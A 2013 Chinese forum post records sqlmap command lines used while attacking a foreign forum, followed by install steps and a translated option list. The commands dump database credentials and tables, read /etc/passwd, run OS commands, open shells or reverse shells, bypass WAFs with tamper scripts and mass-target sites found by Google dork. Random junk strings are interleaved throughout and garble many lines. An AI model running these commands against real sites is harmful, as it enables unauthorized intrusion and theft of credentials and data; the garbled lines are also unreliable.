找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2675|回复: 0
打印 上一主题 下一主题

sqlmap注入命令的使用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 22:26:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、( J. L& T+ Q: J6 B6 x& T! W6 P6 h
sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称
$ s% Y6 M* r: h+ ^: Esqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名: w+ Y- Z8 f0 B
sqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段
+ e# s: y3 Y5 G$ E6 p; H; x 2 U8 C6 H5 K9 m  Q9 x; j7 e- }( {3 u
sqlmap  -u  “http://url/news?id=1″  –dump  -C  “column_name”  -T “table_name”-D “db_name”-v& s% V' N! C# ]* f! u+ {/ H
0 #获取字段内容
3 U% V5 J- U( Z% x, M. X1 Z" e* \ + e' X4 p& |% `9 U+ N2 C4 _: z- J& D
******************信息获取******************5 Q/ ]' G# Y8 b' m- R* w' M
sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型6 U: m7 W, M$ r- n) d2 S
sqlmap -u “http://url/news?id=1″ –users #列数据库用户
6 N: t/ q+ K9 o% H' P  n* C* \sqlmap -u “http://url/news?id=1″ –dbs#列数据库
5 Y* _9 j- w8 D* Gsqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码5 O: z% N- p+ L6 x
sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码
$ x* ^! g0 \9 e4 h& I5 ssqlmap  -u  “http://url/news?id=1″   –dump  -C  “password,user,id”  -T “tablename”-D “db_name”0 Z; K; D" b# }1 f
–start 1 –stop 20 #列出指定字段,列出20 条4 m+ b9 n9 `& Y7 P5 E) C
sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表# L1 v, y+ z$ X2 u0 `0 B" U+ q
sqlmap -u “http://url/news?id=1″ –privileges #查看权限5 |% b0 ?: J+ M, C* P' Q; C
sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色$ g( l. q5 L* e5 F4 R
sqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)9 l/ r! w' a! O1 ]2 a
sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表. M$ H" w7 p3 J3 K
sqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录+ c! J/ A- A' p6 C+ G" O- ~
sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入* s; P  `1 E  g( B3 V) j5 I
sqlmap -u “http://url/news?id=1″-b #获取banner信息
2 U: p2 \# i6 A- \* osqlmap -u “http://url/news?id=1″ –data “id=3″#post注入
6 I6 i/ \9 R# ?$ \( f% fsqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型
  F; O% b4 F4 N+ ^* ~1 Bsqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入; M# |# u4 e% w5 f0 e. J: u
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词9 ^& q4 t. R/ L% `, B0 b0 @
sqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令
! S7 b3 E" z5 p! m  p* Lsqlmap -u “http://url/news?id=1″ –file /etc/passwd
% H) Q' b) `8 Ksqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令, j( l: i; \  j  H, r' v
sqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell5 ]: |0 [6 e, R& g! |: a0 z! N+ g
sqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表
. `$ t) I8 F, |& M/ Asqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度) S; w/ e. i; o0 J" a  B
sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度
2 ^! D% ~+ q6 d; s: c# x***********高级用法*************! i& Z# j, `# h5 e& N
-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入  H6 [5 C$ M+ O$ ?
sqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段          需保证google.com能正常访问
  w6 u: w& w+ G–technique   测试指定注入类型\使用的技术4 Y0 B# x* u% a
不加参数默认测试所有注入技术6 Y1 a4 H2 x: q" }: C
•     B: 基于布尔的SQL 盲注7 n8 k& Z! \$ {4 F. t6 Z# S- N
•     E: 基于显错sql 注入& K. W" Q  a5 D( @: S) I0 c, k
•     U: 基于UNION 注入' x  N/ |; V) l8 w2 W
•     S: 叠层sql 注入
# a/ S8 [. l% b$ l•     T: 基于时间盲注
* B7 t  ^9 M. Z–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()
3 A  K1 o" k& ?) i6 s' m8 R: q- ^–tamper 插件所在目录5 N. e; I) Y' M+ r" e  C
\sqlmap-dev\tamper
+ @9 P/ \& H3 v; f, z# f! Vsqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能
7 H! d, t& U1 x+ I" Ylevel 执行测试等级 攻击实例:
/ ^' Q( Y, ]0 j6 |2 Z9 xSqlmap -u “http://url/news?id=1&Submit=Submit”3 ?) o/ Q% G" b; W
–cookie=”PHPSESSID=41aa833e6d0d
! p3 o( F9 S& Q- p; G  w28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user
$ ~  t- h9 H: b- a5 r* c–password
7 p* g  V6 R: [& e! U参考文档:http://sqlmap.sourceforge.net/doc/README.html
8 ^& @$ i& Z( T$ {5 z. g/ T***********安装最新版本*************9 X, p+ \$ b2 l- U: V1 J
ubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版% W  f+ h+ j4 k+ E
sudo   svn   checkout   https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev% d8 I, Y& ^# u: t' r! l
安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件
  P" ~+ n7 ?) q! e' |8 l) ^# dsudo vim /home/当前用户/.bashrc
: |/ g; ?  K, w; O# @9 B#任意位置加上:! W* S: s, n( P' \; l
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效
4 s( _4 k( M0 G1 i4 M) ^% E: y' a& I如果想对所有用户有效 可设置全局 编辑下面的文件
  R  l5 ~: @% Svim /etc/profile
& k: p. g; W$ j% W" d1 x0 D" p同样加上:, y9 D. ^+ \7 Q, J4 h; j
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效0 \0 Y2 v* a( a0 j7 ^% N
******************windows 7 (x64) sqlmap install (SVN)************
- G, L% ?- ?* ], j3 r0 G2 t7 ghttp://www.python.org/getit/ 安装python
, Z& b- X4 W/ @http://www.sliksvn.com/en/download 安装windows svn client; n" Q& {) Q* A
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
: p4 g& x% a4 e7 w5 u( k7 Z) o安装sqlmap
7 m; L0 h* ^" b3 X- }*修改环境变量
1 X3 G) y% n. A$ A# n/ X. T–version             显示程序的版本号并退出( }! f9 k$ P0 d& u( r8 c3 C+ `
-h, –help            显示此帮助消息并退出6 I5 }3 F$ Y2 X( }3 P) O
-v VERBOSE            详细级别:0-6(默认为1), H; F  S1 d1 J- U$ J! u
Target(目标): 以下至少需要设置其中一个选项,设置目标URL。
$ f+ m8 K/ b* D5 \-d DIRECT           直接连接到数据库。
' D( [& }1 q& L-u URL, –url=URL   目标URL。9 h8 h: h' v1 {: e. m
-l LIST             从Burp 或WebScarab 代理的日志中解析目标。* @5 w. t5 h% s# O
-r REQUESTFILE      从一个文件中载入HTTP 请求。) O" I+ M% J7 ]* G' F% G
-g GOOGLEDORK       处理Google dork 的结果作为目标URL。+ C( S2 q5 c' R, ?# D
-c CONFIGFILE       从INI 配置文件中加载选项。
! d& S; z$ U7 k8 q0 iRequest(请求)::- l0 T, |* y- _. s3 t
这些选项可以用来指定如何连接到目标URL。
) J# x$ R1 W9 P9 }4 G6 ^2 a6 S–data=DATA         通过POST 发送的数据字符串! v* ^! ]. L, ?" J7 m7 o4 H# T
–cookie=COOKIE     HTTP Cookie 头
2 B  k6 e. J7 q$ A+ N/ [, |–cookie-urlencode  URL 编码生成的cookie 注入8 A- B- R2 \/ |5 O0 b* K% q
–drop-set-cookie   忽略响应的Set –Cookie 头信息# N; m( D+ Q8 B

! {1 n4 d: N) K, k$ `–user-agent=AGENT  指定  HTTP User –Agent 头
9 F- v9 c; A4 ^8 E" V0 o9 C+ v–random-agent      使用随机选定的HTTP User –Agent 头" O5 r  e8 p. J" t
–referer=REFERER   指定  HTTP Referer 头, {' X3 j2 D( f+ F7 M* ^/ d
–headers=HEADERS   换行分开,加入其他的HTTP 头2 o/ ]6 w* G" g6 S- d) q
–auth-type=ATYPE   HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
& q6 z: B3 ]! F1 e) k6 b# k–auth-cred=ACRED   HTTP 身份验证凭据(用户名:密码)
2 w0 q1 J4 y$ q' }7 C" q. R–auth-cert=ACERT   HTTP 认证证书(key_file,cert_file)' I; k# E7 B! h0 g; S
–proxy=PROXY       使用HTTP 代理连接到目标URL- ~6 r3 K7 |+ R; i- Q
–proxy-cred=PCRED  HTTP 代理身份验证凭据(用户名:密码)9 p, P0 O' A# ?* B3 m7 S* O" x
–ignore-proxy      忽略系统默认的HTTP 代理
$ x* D! y' q1 u! r  Z* T6 t- {/ g+ t& _4 E–delay=DELAY       在每个HTTP 请求之间的延迟时间,单位为秒
) x' y& a1 H6 T$ f' b–timeout=TIMEOUT   等待连接超时的时间(默认为30 秒)( C" }/ P9 d- x  o$ t
–retries=RETRIES   连接超时后重新连接的时间(默认3)
9 J$ u9 D; s8 G* D–scope=SCOPE       从所提供的代理日志中过滤器目标的正则表达式
+ G5 N8 A* o6 ?4 s* L: {9 y, K9 }–safe-url=SAFURL   在测试过程中经常访问的url 地址
% Z% E6 {; C$ C" l. v9 z–safe-freq=SAFREQ  两次访问之间测试请求,给出安全的URL
) c, J/ j" V8 POptimization(优化): 这些选项可用于优化SqlMap 的性能。" W0 U' T1 V, Q2 S$ S
-o                  开启所有优化开关7 u' ?, w/ w" b, t
–predict-output    预测常见的查询输出
8 Q- w/ \2 Z" J  d( Q1 g- u* O& Z–keep-alive        使用持久的HTTP(S)连接0 R! E, s: Z- v; Y
–null-connection   从没有实际的HTTP 响应体中检索页面长度
# \$ k0 Y8 M& g& a3 l3 y) w–threads=THREADS   最大的HTTP(S)请求并发量(默认为1)
! ~3 m5 G$ P7 bInjection(注入):  @/ P7 q6 s' V! {9 r; ~5 }8 d7 I
这些选项可以用来指定测试哪些参数,  提供自定义的注入payloads 和可选篡改脚本。
5 Q  e! O4 C( e( ^; ]-p TESTPARAMETER    可测试的参数(S)5 h$ p3 Q. t  i3 ?6 b1 r4 O5 @$ c
–dbms=DBMS         强制后端的DBMS 为此值  P0 C- H, X( i6 [
–os=OS             强制后端的DBMS 操作系统为这个值  L1 W. G+ `, E. o, Y
–prefix=PREFIX     注入payload 字符串前缀
7 I  O1 _5 {- U. u3 u9 n9 r–suffix=SUFFIX     注入 payload 字符串后缀
+ ]; j! V3 x* g9 c, t$ o–tamper=TAMPER     使用给定的脚本(S)篡改注入数据) B( X' A3 c; F% p
Detection(检测):
4 D; Z6 ]* N* E: g这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。
5 y; M% j' x( \) M5 t: \: |–level=LEVEL       执行测试的等级(1-5,默认为1)) ^+ v/ R$ \: z+ D- s* j6 P
–risk=RISK         执行测试的风险(0-3,默认为1)
% Q. P. q, N  ]$ w! {2 g7 \* r" R–string=STRING     查询时有效时在页面匹配字符串, j: [- A2 m! O) z0 d2 F9 F, C. G. u
–regexp=REGEXP     查询时有效时在页面匹配正则表达式
! \+ q) X' _1 y* L5 h- m–text-only         仅基于在文本内容比较网页
. R. ]/ n/ d( u( hTechniques(技巧): 这些选项可用于调整具体的SQL 注入测试。
9 n% E1 ^- X2 H–technique=TECH    SQL 注入技术测试(默认BEUST)  t: {, d8 ?; G, ?0 j4 A2 W
–time-sec=TIMESEC  DBMS 响应的延迟时间(默认为5 秒)
( J! ~: g: Q1 ]0 W3 B; Z–union-cols=UCOLS  定列范围用于测试UNION 查询注入' K1 S! N7 M2 _8 }5 O- A
–union-char=UCHAR  用于暴力猜解列数的字符( `9 V/ j& T3 u* F
Fingerprint(指纹):
' h- j) q% r$ |3 U: \-f, –fingerprint     执行检查广泛的DBMS 版本指纹) T! U9 f  o: k; p
Enumeration(枚举):. f- {: E1 j, Y% n% |9 i7 Z

8 e+ e( |( L0 b2 N5 g8 [3 G8 S- S这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。7 E* |# P, q* H6 G- |
-b, –banner        检索数据库管理系统的标识
3 @1 s7 n5 v' L/ p/ m* S  M7 [–current-user      检索数据库管理系统当前用户
8 m8 }; }7 U6 s$ z–current-db        检索数据库管理系统当前数据库2 Z$ E% p/ x: {1 G+ [4 [
–is-dba            检测DBMS 当前用户是否DBA
2 }9 v( z8 m. L% }& n  d* W–users             枚举数据库管理系统用户3 D" t  z7 r$ `3 {5 |" G
–passwords         枚举数据库管理系统用户密码哈希
/ n) x0 [$ e% {- ]0 t–privileges        枚举数据库管理系统用户的权限1 x/ X) m; @* b6 g9 z
–roles             枚举数据库管理系统用户的角色# z8 r, n$ O$ d8 M. F6 L
–dbs               枚举数据库管理系统数据库
  d7 K& w3 d1 L1 H–tables            枚举的DBMS 数据库中的表7 W# `5 ^2 W' W- W$ \: F
–columns           枚举DBMS 数据库表列+ b% }5 f5 V& P& p
–dump              转储数据库管理系统的数据库中的表项
7 w$ ?6 \" ?+ Y6 P) A6 @–dump-all          转储所有的DBMS 数据库表中的条目
& c3 m; k% Y* K! Z9 n–search            搜索列(S),表(S)和/或数据库名称(S)
" N- H/ L" V5 ]2 m% a1 Q1 u# C7 n-D DB               要进行枚举的数据库名
+ d' |% q- G% \1 |$ M0 X-T TBL              要进行枚举的数据库表: r* r( \  v0 [2 _4 J# W+ N
-C COL              要进行枚举的数据库列- a+ R$ X, M2 G, b  X
-U USER             用来进行枚举的数据库用户  [: Y* U3 F+ p& q2 @
–exclude-sysdbs    枚举表时排除系统数据库
0 q$ a; {* y/ E5 u3 e–start=LIMITSTART  第一个查询输出进入检索* x3 U! Q8 |1 t& B: m% X6 A
–stop=LIMITSTOP    最后查询的输出进入检索
# i2 q% ]! v9 D2 W+ d) X–first=FIRSTCHAR   第一个查询输出字的字符检索9 M6 K* ^% j* k: |
–last=LASTCHAR     最后查询的输出字字符检索
, \" j0 n8 `( F4 P6 q! m# X–sql-query=QUERY   要执行的SQL 语句7 z3 b1 N4 L7 V1 `6 D9 _( v+ P
–sql-shell         提示交互式SQL 的shell
' J; f, O: n! h6 V! `% ^, }Brute force(蛮力): 这些选项可以被用来运行蛮力检查。
, P, e! q; v; L' n# B/ w% R–common-tables     检查存在共同表+ W1 [0 ^: J, M; a: B8 H
–common-columns    检查存在共同列
2 }2 I9 }" R, }+ Y! sUser-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。0 |3 k* R5 u% O4 c+ U7 \& H* @. }
–udf-inject        注入用户自定义函数
8 e3 M( N) j/ i- j( S–shared-lib=SHLIB  共享库的本地路径
, ^3 _" Y6 ]6 f, E% N9 SFile system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。3 C8 a6 s$ U- f' |7 I
–file-read=RFILE   从后端的数据库管理系统文件系统读取文件$ r7 ^) u! ^$ K7 Q. |. ]1 T
–file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件
, K* v# G8 J! U! O) W6 U( F+ p0 x1 t–file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径
4 [- k% y( Z" @' n- h0 oOperating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。
% s+ w, c, `0 K, O' F–os-cmd=OSCMD      执行操作系统命令% q! m/ d1 s, l7 t! f
–os-shell          交互式的操作系统的shell
9 I0 _$ j: L, O1 o$ h* J# v–os-pwn            获取一个OOB shell,meterpreter 或VNC- v  u+ a$ X; s# }. v! {2 q, D
–os-smbrelay       一键获取一个OOB shell,meterpreter 或VNC( X1 f1 a6 o. V
–os-bof            存储过程缓冲区溢出利用
3 u$ I( ?6 m7 f; N+ I. m–priv-esc          数据库进程用户权限提升. i- J& G* r  O8 c5 M
–msf-path=MSFPATH  Metasploit Framework 本地的安装路径
3 i. a# i) f1 E3 b# I, t–tmp-path=TMPPATH  远程临时文件目录的绝对路径
" l, X& I0 ?3 ^* B8 [- g( M 2 f$ x% }0 _2 P* R3 `- S2 I
Windows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。
% x  y1 T9 w; t3 ]" a+ E2 C( Q& t–reg-read          读一个Windows 注册表项值
$ C2 u" V3 g+ J, }–reg-add           写一个Windows 注册表项值数据! m+ i6 f! h$ x8 E
–reg-del           删除Windows 注册表键值
( [+ Q# ~2 j, {/ p–reg-key=REGKEY    Windows 注册表键
8 f( N) b/ R6 `1 l! H–reg-value=REGVAL  Windows 注册表项值, j/ i3 A! N( Z- s5 i& r" g' q
–reg-data=REGDATA  Windows 注册表键值数据
! c) u. K# B. \. s8 m1 ?9 Z' P9 ?–reg-type=REGTYPE  Windows 注册表项值类型+ A7 `2 B- n' Q, W$ c: V
General(一般): 这些选项可以用来设置一些一般的工作参数。
# q, t% v% l- V; [-t TRAFFICFILE      记录所有HTTP 流量到一个文本文件中
* H/ Z! S8 z& _' k: D- ]) c1 \-s SESSIONFILE      保存和恢复检索会话文件的所有数据
5 g' V2 c$ b5 q–flush-session     刷新当前目标的会话文件
/ y, c* R% [' a" h3 B' H' q–fresh-queries     忽略在会话文件中存储的查询结果9 A- P8 C# O  d, L% u4 W
–eta               显示每个输出的预计到达时间5 G: S4 N) L/ d) |) ]- Z7 C6 @
–update            更新SqlMap
7 p0 y1 b) v& U7 u–save              file 保存选项到INI 配置文件# z$ I; J& ]2 S3 \. A
–batch             从不询问用户输入,使用所有默认配置。$ l& p1 C+ ?! o& M
Miscellaneous(杂项):
5 b- F4 e9 `/ Y–beep              发现SQL 注入时提醒8 @% O  B9 P' f$ J+ d4 J
–check-payload     IDS 对注入payloads 的检测测试
2 j! P* D3 U5 X, d, |0 p+ {–cleanup           SqlMap 具体的UDF 和表清理DBMS
1 V2 j/ G" t, p# R' A–forms             对目标URL 的解析和测试形式6 b1 ]" @+ y" i+ A  D; Q/ [2 D
–gpage=GOOGLEPAGE  从指定的页码使用谷歌dork 结果
% |7 Z1 R  Y5 y8 L: m5 A–page-rank         Google dork 结果显示网页排名(PR), v, U8 B! ~9 z
–parse-errors      从响应页面解析数据库管理系统的错误消息! Q" t. G. ?# h% Z8 d) d
–replicate         复制转储的数据到一个sqlite3 数据库/ c5 H. u1 |; N
–tor               使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
$ b5 b$ _9 m2 r* I! s# O; b9 H–wizard            给初级用户的简单向导界面
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表